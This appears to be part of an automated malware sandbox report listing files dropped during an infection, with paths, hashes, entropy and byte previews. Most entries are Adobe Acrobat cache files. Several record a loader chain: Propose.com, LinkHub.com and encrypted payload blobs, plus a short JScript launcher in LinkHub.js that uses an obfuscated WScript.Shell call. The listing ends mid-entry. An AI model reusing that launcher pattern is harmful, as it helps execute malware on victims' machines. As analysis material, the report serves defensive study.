                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):282
                                                                          Entropy (8bit):5.294803580480383
                                                                          Encrypted:false
                                                                          SSDEEP:6:YEQXJ2HXisu8RH0W4kVoZcg1vRcR0Y34PoAvJTqgFCrPeUkwRe9:YvXKXE2H0W4lZc0vcJGTq16Ukee9
                                                                          MD5:17D7792AC6A1E00D8CE913200C67D626
                                                                          SHA1:700EB9B8A141E9CD211DB772E900C8DA579EF484
                                                                          SHA-256:336C5DD58D3ADFFE905EB19316118E70DFD5095F667B6920136431AA7A638577
                                                                          SHA-512:5CF37542EE91A40E72B083DE5873062959C749CB7CFF679D64353C814C5501211CC68487B0E37B7BDC66B182621547EC5BBAD9C22155361D5DB112681693EC01
                                                                          Malicious:false
                                                                          Preview:{"analyticsData":{"responseGUID":"9483ebae-c919-49e8-8d63-d334f8d12b45","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736828816221,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):4
                                                                          Entropy (8bit):0.8112781244591328
                                                                          Encrypted:false
                                                                          SSDEEP:3:e:e
                                                                          MD5:DC84B0D741E5BEAE8070013ADDCC8C28
                                                                          SHA1:802F4A6A20CBF157AAF6C4E07E4301578D5936A2
                                                                          SHA-256:81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
                                                                          SHA-512:65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
                                                                          Malicious:false
                                                                          Preview:....

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:JSON data
                                                                          Category:dropped
                                                                          Size (bytes):2814
                                                                          Entropy (8bit):5.1434316333645365
                                                                          Encrypted:false
                                                                          SSDEEP:24:Y9B1haP2xAayFdBqtTLCDJx+Te3jNj0SNuWR24Jf2LSHCNBiPbB+Mm0G5KCb9tuS:YjEKaaKDP2Ghgyf1FsBijB+Jz93
                                                                          MD5:07C725A6A88D42BD67C68EDD5ECCD0BB
                                                                          SHA1:92F60540C1BF10DFF5C03835087C70EE40633E69
                                                                          SHA-256:400E5A1C51556BD28BE1EAD46A112E8E0E2AF4470F7883D7EE99BFFB20DE092B
                                                                          SHA-512:B8968D8922B9C0C5E08A0E83ABACDA393D95C805317BCFD16CBFEDD252D58E1D03931DB8DB98524F764F0EF99B3EB2BFAD620079C34FC29C235F22D9FBCB4D89
                                                                          Malicious:false
                                                                          Preview:{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0c928fd79870ae3ae5ca9b0eb2d8cc15","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736651951000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"cd65459c68a050dcd0ad92c593a89716","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736651951000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f114611f841943865faa6e5dcf5b83a2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736651951000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1db4232404122fa41a93d803db89f9de","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736651951000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"cd43e3efd6bf22b9b77de494637a7e9f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736651951000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0542064dff3fcc7f9b70abfa47803b3b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
                                                                          Category:dropped
                                                                          Size (bytes):12288
                                                                          Entropy (8bit):1.1885473270217457
                                                                          Encrypted:false
                                                                          SSDEEP:48:TGufl2GL7msEHUUUUUUUUTSvR9H9vxFGiDIAEkGVvp/:lNVmswUUUUUUUUT+FGSItL
                                                                          MD5:92CAD166B4BADA81BA8A8B11C5AFF692
                                                                          SHA1:1E48F9F1F8F55B35306AA1C00573991BFE952661
                                                                          SHA-256:8D23201FB2B39E6CDA1B4468FED69FA8196C526120764935C90B313E6D75CADE
                                                                          SHA-512:E8F719D7104FED323DE702964A24A24E824A293F84B6EE27C4DBAB07111A780FB8DE7FB8961ABC4EB55015EC23333251236F6B8D794251A7C60E60CB77C39598
                                                                          Malicious:false
                                                                          Preview:SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:SQLite Rollback Journal
                                                                          Category:dropped
                                                                          Size (bytes):8720
                                                                          Entropy (8bit):1.6083233166599828
                                                                          Encrypted:false
                                                                          SSDEEP:48:7MTKUUUUUUUUUUXvR9H9vxFGiDIAEkGVvbqFl2GL7msI:7tUUUUUUUUUUvFGSItJKVmsI
                                                                          MD5:01E3D5F5ACCBCDE3CFAAD9ECC908326C
                                                                          SHA1:7F99E013FB1A9F0430750E8A47C70FDA36E919A1
                                                                          SHA-256:9919AB2B6AE56982899C18F5F8C3EC97D2F4C2C3608E60D331E9D126BDC13560
                                                                          SHA-512:DDC7089A0366D406776C4E9D9B67A959EA613D45A5C1D693FD104B812046F8717E24750F311441BAB001FCC19FEC645E7BA384768D690B341C7458F6700D8682
                                                                          Malicious:false
                                                                          Preview:.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

                                                                          Download File
                                                                          Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):66726
                                                                          Entropy (8bit):5.392739213842091
                                                                          Encrypted:false
                                                                          SSDEEP:768:RNOpblrU6TBH44ADKZEgKObwEkGhjz/m79ld2abYXhqXmmUYyu:6a6TZ44ADEKuwEkG1zYlPmmUK
                                                                          MD5:FC54D7262931A96CFB5B1CE44824C43C
                                                                          SHA1:664232B5C3D51007E46C74E07BEB731FE14D2E29
                                                                          SHA-256:4CF1B76A3C78DFB884E887FE1FACD22D43E397F46F7E3AFB9B2F7D0601CF4A32
                                                                          SHA-512:B43E426554D0A8EB5A2276116DE360E9461B2A2D5BDA987E7FBAC214D491B0353EA0FD751C8A50CBA1A5C44BDA0D6B099C9EE93F6DBDA982B96BD10162978798
                                                                          Malicious:false
                                                                          Preview:4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

                                                                          C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                          Category:dropped
                                                                          Size (bytes):947288
                                                                          Entropy (8bit):6.630612696399572
                                                                          Encrypted:false
                                                                          SSDEEP:24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
                                                                          MD5:62D09F076E6E0240548C2F837536A46A
                                                                          SHA1:26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
                                                                          SHA-256:1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
                                                                          SHA-512:32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
                                                                          Malicious:true
                                                                          Antivirus:
                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                          Joe Sandbox View:
                                                                          • Filename: c2.hta, Detection: malicious, Browse
                                                                          • Filename: c2.hta, Detection: malicious, Browse
                                                                          • Filename: Setup.exe, Detection: malicious, Browse
                                                                          • Filename: Setup.exe, Detection: malicious, Browse
                                                                          • Filename: Setup.exe, Detection: malicious, Browse
                                                                          • Filename: Full-Ver_Setup.exe, Detection: malicious, Browse
                                                                          • Filename: random.exe, Detection: malicious, Browse
                                                                          • Filename: HouseholdsClicking.exe, Detection: malicious, Browse
                                                                          • Filename: DodSussex.exe, Detection: malicious, Browse
                                                                          • Filename: DangerousMidlands.exe, Detection: malicious, Browse
                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):195
                                                                          Entropy (8bit):4.7615351185197845
                                                                          Encrypted:false
                                                                          SSDEEP:6:RiOnJHonwWDKaJkDHLFkNx5AW9GfwWDKaJkDHLFkNx57:YIQjWaiF+/dG7WaiF+/7
                                                                          MD5:9DD76500C74BBB507074A3DA164E755D
                                                                          SHA1:72EBC79800AD7A96DCC8923A186D7ECA36561F28
                                                                          SHA-256:6801E9D84DF9CAAB43718B737D58E5E3CD3CB614DBAFEB50776630FCD8E6694C
                                                                          SHA-512:531E901749A8C5687310E8330A8558384A94C28587AC8B6B3EE362449F2C46B9F27BBF3C162095A030D880E6693E477F62FAB7A2C24F7D89FED0AC0E09A8C494
                                                                          Malicious:true
                                                                          Preview:new ActiveXObject("W"+"script.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\ConnectWare Technologies Ltd\\LinkHub.com\" \"C:\\Users\\user\\AppData\\Local\\ConnectWare Technologies Ltd\\y\"")

                                                                          C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):702975
                                                                          Entropy (8bit):7.9996899596807305
                                                                          Encrypted:true
                                                                          SSDEEP:12288:7oJEXO+WtgpSKS6G4epnMRNutIPcIyuSvcmeeVURApKFWRR51vR0pGlh7e7:wE++WKUsGqcIyuSkeVURAw2JvRmGlh7c
                                                                          MD5:40320097845035E71C88A2796F2F751B
                                                                          SHA1:C6002D6BEC7322277FE88154FDE0829C8A8E2762
                                                                          SHA-256:62BD76A99BCD9EAE526C4A6D147C02832138A6AA1D38559DB20174F74D806946
                                                                          SHA-512:57780D293AE512BBCF53F13AFF29851C9A94A4F7ED1D51654CEDD06A6089D80AAEDCCF68F7CC5D3B37659E77AD3058EC72AE8CCB18BBD7478C5FB06F93776074
                                                                          Malicious:false
                                                                          Preview:....].Z...%.o....."7.;?..F.....x..=.[......F..&.P.P.f.1.xi$!..H..9..d$...E<.....t.3...........adW2.P.),CG.!f9.x:.."l..C'.......i.......;R........7...m.`..X.mH..T..].Te..c6...........E..u....8..k.#.ac...)..E.N:....B.NX..l..e.."...ytLW.;T.b./w...1TI)..<z."LH%+....R...N..v2...A.s...~.&=..4.....p..,.[v..#..F..-..._.. G,......HA.X.T...U.O[..J...h|...qX.....i.[a+X........Z..Q..........'Y...J."..:........W.m...e..+....?8/.z.._.....*....,.N....r.V/Q..N.z14.9....I..B... .S.7...."...'AC..)........Y.]^%r.TPd..k...'b..d.B.:.3.tX4..o%.p ...wNG2^/..i.>..E...^m...|X...RY.BI.q0.......Kdz.....-.l..b....].y..'..j.C...>...>0.0.[.!.xSk..;7V.......%.O..P...C...'O.sjT..,.S..'-.f..t6.'s.N.Z.^.{|.8.L.o;,.V...vC...B.p.X(T%..q..T..z....*......M.2.....?.MF.........sJ...8.....fp.\....^......."...6 ..Mw... k..v-.....B..$....E.ndEc...."...%...Swiltb....R.....^M../.........@6$c}.K..gp.R.O....s..E.$.d...r;....k.gdK2.(IG[.*.I...?.v.tfJ..9....+..*J.....g.....g.WK.....\

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                          Category:modified
                                                                          Size (bytes):947288
                                                                          Entropy (8bit):6.630612696399572
                                                                          Encrypted:false
                                                                          SSDEEP:24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
                                                                          MD5:62D09F076E6E0240548C2F837536A46A
                                                                          SHA1:26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
                                                                          SHA-256:1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
                                                                          SHA-512:32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
                                                                          Malicious:true
                                                                          Antivirus:
                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\U

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\cmd.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):702975
                                                                          Entropy (8bit):7.9996899596807305
                                                                          Encrypted:true
                                                                          SSDEEP:12288:7oJEXO+WtgpSKS6G4epnMRNutIPcIyuSvcmeeVURApKFWRR51vR0pGlh7e7:wE++WKUsGqcIyuSkeVURAw2JvRmGlh7c
                                                                          MD5:40320097845035E71C88A2796F2F751B
                                                                          SHA1:C6002D6BEC7322277FE88154FDE0829C8A8E2762
                                                                          SHA-256:62BD76A99BCD9EAE526C4A6D147C02832138A6AA1D38559DB20174F74D806946
                                                                          SHA-512:57780D293AE512BBCF53F13AFF29851C9A94A4F7ED1D51654CEDD06A6089D80AAEDCCF68F7CC5D3B37659E77AD3058EC72AE8CCB18BBD7478C5FB06F93776074
                                                                          Malicious:false
                                                                          Preview:....].Z...%.o....."7.;?..F.....x..=.[......F..&.P.P.f.1.xi$!..H..9..d$...E<.....t.3...........adW2.P.),CG.!f9.x:.."l..C'.......i.......;R........7...m.`..X.mH..T..].Te..c6...........E..u....8..k.#.ac...)..E.N:....B.NX..l..e.."...ytLW.;T.b./w...1TI)..<z."LH%+....R...N..v2...A.s...~.&=..4.....p..,.[v..#..F..-..._.. G,......HA.X.T...U.O[..J...h|...qX.....i.[a+X........Z..Q..........'Y...J."..:........W.m...e..+....?8/.z.._.....*....,.N....r.V/Q..N.z14.9....I..B... .S.7...."...'AC..)........Y.]^%r.TPd..k...'b..d.B.:.3.tX4..o%.p ...wNG2^/..i.>..E...^m...|X...RY.BI.q0.......Kdz.....-.l..b....].y..'..j.C...>...>0.0.[.!.xSk..;7V.......%.O..P...C...'O.sjT..,.S..'-.f..t6.'s.N.Z.^.{|.8.L.o;,.V...vC...B.p.X(T%..q..T..z....*......M.2.....?.MF.........sJ...8.....fp.\....^......."...6 ..Mw... k..v-.....B..$....E.ndEc...."...%...Swiltb....R.....^M../.........@6$c}.K..gp.R.O....s..E.$.d...r;....k.gdK2.(IG[.*.I...?.v.tfJ..9....+..*J.....g.....g.WK.....\

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Approaches

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:Microsoft Cabinet archive data, 488285 bytes, 11 files, at 0x2c +A "Instantly" +A "Dressing", ID 8829, number 1, 29 datablocks, 0x1 compression
                                                                          Category:dropped
                                                                          Size (bytes):488285
                                                                          Entropy (8bit):7.998550946105718
                                                                          Encrypted:true
                                                                          SSDEEP:12288:GtaS7z1F+D7f32HLxjQ8IeOFg8CAINNtUcfgBTG12Zqc:+aS7zqDcLxk8Ie5ZNN6cQqwZqc
                                                                          MD5:7A07DED0E02828AA5F3CFBAD5642C558
                                                                          SHA1:166EAD6F90D79790E559C7CB19BC2588E6EDBAE1
                                                                          SHA-256:2089D963BDAD621F966AC18E371FBF4BDD2E94CFA1841142EDF317E4B971F28B
                                                                          SHA-512:9DA78695AC581646ADBA790FBBFEE3E2E26DA4F60C75FCABCF11D30E06054D59C6E3A764B4828EEBC6592E7FE5255BF1778AE1A8877D60E1A45C971B9D2586D6
                                                                          Malicious:false
                                                                          Preview:MSCF....]s......,...............}"..<........`........'Z.% .Instantly......`....'Z.% .Dressing......x....'Z.% .Measurement..$...|....'Z.% .Indonesia..@.......'Z.% .Led...........'Z.% .Different...........'Z.% .Missed...........'Z.% .Clinton..|........'Z.% .Brian..........'Z.% .Protocol..4..]@....'Z.% .Constitute...b..K..CK...|...0>..,.Y1.......ltA.K$.l.H.....[..>.....'[..n...Zk...>..m..Uw...~..Jb..E..DX>.l d.s..n....y...~.s?.=..{.=..s........[.Fwm.g..\OR..q.l'..>.G...|..r.s9..p...>..[.B.\....e.99"..ub...x......i(.r.........S2.)..3.8.xXl........o#..YE.(...%...7Z.N.....|.F.f..l..H.b...KI..1..mm.3.B.V....x.V..{..f..p.Z....V[%.T.....r......^.S@*w.#..r...lQ.&b?P..Y.]MN~(.b.Ja........-..1..T.m...\v...v...>.......0...a.K.X.X..ib.I..#q.....K....."...).4...d..F.,....62>.X.e.7....7..i..[.(....[.5..m..Y#"....."~.9xz..S.....j..i.][7NU...2k..__...|uL.*....M..Y..rP..7.....F..Q......B$.O...ZO.]n.U..n..z..;Jj..H...Q...G/K..+c.MEj.l..j.*...Jl..[l..|.~.....f.*.>..

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Beam

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):67584
                                                                          Entropy (8bit):7.997420919125293
                                                                          Encrypted:true
                                                                          SSDEEP:1536:mPM2IWHYOOcbdpzCNBSD2XTn32zuIcRgk64wnWEi8o:mP5THh5b3+n32zo64Ao
                                                                          MD5:18E13DD846278DD017E9BDD8322ACF0E
                                                                          SHA1:431DDC2AF8197F887CF7E9B5346792FDBF0F07E3
                                                                          SHA-256:4784DDD355896DE73BCCCDB7D0AFD69D6376ADE1F3A22B18BFDA58EB4DFB0744
                                                                          SHA-512:005CBE957E2FE900299A82168D0CEB4FF9A89FE82B407103A7DA34BED1C0F12CF22850080D2EB22FAD5A0BAC7813696103BAFCA6735FB31223BEFFF0697CCE2F
                                                                          Malicious:false
                                                                          Preview:.w..+..h}...X.M....N..h.y.......>...e......pD..{..S....u....8...!.9.....Q.G..rB...d.._..q.~...}8.../.CW.E.`.......c.}..x...M..H..,Mk...N..K......G.>..F.Ru....-....9.Y...q...3$.iN.!.|.g...n...k..W.i..g..J.L.....P.....F'{6}.i.<,a}..i.....]"......y.yi.+..C..-^j....T.6..j.5..f..&..DN4.$B.i.&..#..K..d......."...."U...r...Qm..V....6....e.....X.vw...I..B<ei....}.>l._,......H.kq.5...........{.QT.Z'.dF[...fkMH$V%....K....y.M..b.G....lv.....>.q..n...-..D7;F~...Ix..AL.5.}......0..9X..w.I...o..\...a.<..a&<...t(.iz.?.N...mx.o...O.b.}5G.~.c.#.....==...O..RY......o..]...G?=.<.;...N.^.E.2.3....=...X*C.6..XC.)H<......4.?>\...Ng...C.vHLv<..A..u.p*-qs.G)z.8|.s.<V.._..6.`.^..#.^..._o...4..^h....!"&I...>....b...'.=I(.'e..!..Z..R1;..3A..F/.Jwr.GcX*GO?.t...f^1G...cF..@.iC.U.8.#..$..p......e2....U..j.c....q..V.rL....xf...F..X85.5.L#K.T.s..a.c`......z_.Y..9E.6......>...x2...=.d..`...^.U.p~..n.U.#........S.BY..n/........]..M....1...J8..%.:..l..s.8...\....J...D.y.

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Blocked

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):101376
                                                                          Entropy (8bit):7.9982174281872025
                                                                          Encrypted:true
                                                                          SSDEEP:3072:tYj0CGgXe/2IS6hnqS2WONlLUDBt7itJs6g:tYVG4ehSOnMWONlY9t7itJQ
                                                                          MD5:99A9AA7C4197C9FA2B465011F162397E
                                                                          SHA1:F4501935D473209F9D6312E03E71B65271D709E4
                                                                          SHA-256:6196D79DC188E3581F8446637CF77E8E9105000E7A8A8135213F750D9BC65EB0
                                                                          SHA-512:03EF41FC61EC810C788252EEDCDC7C2616A55C2CF0996F830DAB1A60982589360CAD7C71B76A199A94DE0337BD068AC1A7A6503CE67CC091BAF1C6C6758B01F5
                                                                          Malicious:false
                                                                          Preview:4t....d+.R..f[.V....3@.....L?/.'.D.."........I..6..q..AC..CK.W.xjt[.:.....m>..PWV.l......BQ.H.x.xw..,?..S..$.. .. y..........do....R.a..Hn...N.x..I.R.j.1.D..`..L.D.`x4.....`v.. .q...D.b......J.{.6|..m.......k.!.7.4.Z%.............(...O/.'".A.H..{r(.Z.$.......-......ZXo.ts.r.......i..~Y.w.l..aS....lv.DI?g{'Z..J.Sq.s.......>OB..-.#k.t...M.Y@~x. .C0.h...C.6O...5.K2!0.Z..+.@F.T...{k.U...S....u.n]...M.7S.....[..;.D..o.....t...H.&.c.2.7.*..%...".&].2....@......Q...YZ.d.P...r\.;...*e......b(.....Xc.8...h....k....O..p.i.@$..q..k8....3...:....&@)x.....j....c.k.x.$9,.0..".....v......Q.d.*.?cW..&mmw.g..U`.....R7..P..^..1.f.Mb......?...^....6.v..P...K...j.`f.I.?..lJ6.F...q..{.}..C......@.L.w....k.Au....@V.x..{l,.%)....*>...i.y.b.....5.G*[....n....i.G...a.....".A...h.!6+../....P.....L...>".Y.0....q.39.P..!bj...da*.#e......-.U....h...mh.+..V.}....<./....F.dw...,.l......j5...B<..30.,...W.m#].F.O..FLP.d..:.....L..~F0e..j.zq..)p(h...R...}p.B

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Brian

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):97280
                                                                          Entropy (8bit):5.234350627932401
                                                                          Encrypted:false
                                                                          SSDEEP:768:Jx/SGKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R:JdKaj6iTcPAsAhxjgarB
                                                                          MD5:031B6C0EDF7E1DD8ACF9700CC96085D7
                                                                          SHA1:0819EC14EBC323A9507E52A0579F6F9BA1589C3D
                                                                          SHA-256:7FA45FC5F2F9C52E289D56F5AF6B95427EDC979A838608DC20CB4D89C7078553
                                                                          SHA-512:75577FEEB70AF3025A021FB8DD3FC52B56AC9EC7CE7B0BB24E2970CA3626A0B96984ADB7874AE5608C9A739BC46E5C2207C98B2CB0C40925B2D95B7A2969A7BA
                                                                          Malicious:false
                                                                          Preview:?.?.?.?.?.?.?.?.?.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.r.r.r.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.A.A.A.A.A.A.A.A.A.A.r.r.r.r.r.r.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.r.r.r.r.r.r.r.r.r.r.r.C.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Clinton

                                                                          Download File
                                                                          Process:C:\Windows\SysWOW64\extrac32.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):69632
                                                                          Entropy (8bit):4.910075425726921
                                                                          Encrypted:false
                                                                          SSDEEP:768:FOWel3EYr8qcDP8WBosd0bHazf0Tye4Ur2+3:F5el3EYrDWyu0uZo2+3
                                                                          MD5:2BC25537976C2E146EBED51446CE7B59
                                                                          SHA1:0EBD76401729D4F1B9B4DCAB1586D96CD410A1D2
                                                                          SHA-256:F01BA73C4332997F031434DDA3EBBFE03EE70F9BE65275ABEEDE452E148B94E7
                                                                          SHA-512:7BA4AEA3D8836216CDFB4B27EC7AF041BF9EDB5A0DEA8BEECE8C7950BC9BC793B12F7E7C1A0B4EA6E0194A1211CACBFB06204E68689E0DA3E895BE8518572A80
                                                                          Malicious:false
                                                                          Preview:................................................................................PST.............................................................PDT............................................................. .L.`.L.....................................`.y.!...............................@~............. ...............................@.............. ...............................A.................[.........................@~......Q...Q.^. ._.j.2.........................1~........................................................................................................ .............................................................................................................................................................................................................abcdefghijklmnopqrstuvwxyz......ABCDEFGHIJKLMNOPQRSTUVWXYZ.............................................................................................................................

                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Cocks

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):72704
                                                                          Entropy (8bit):7.997164994069138
                                                                          Encrypted:true
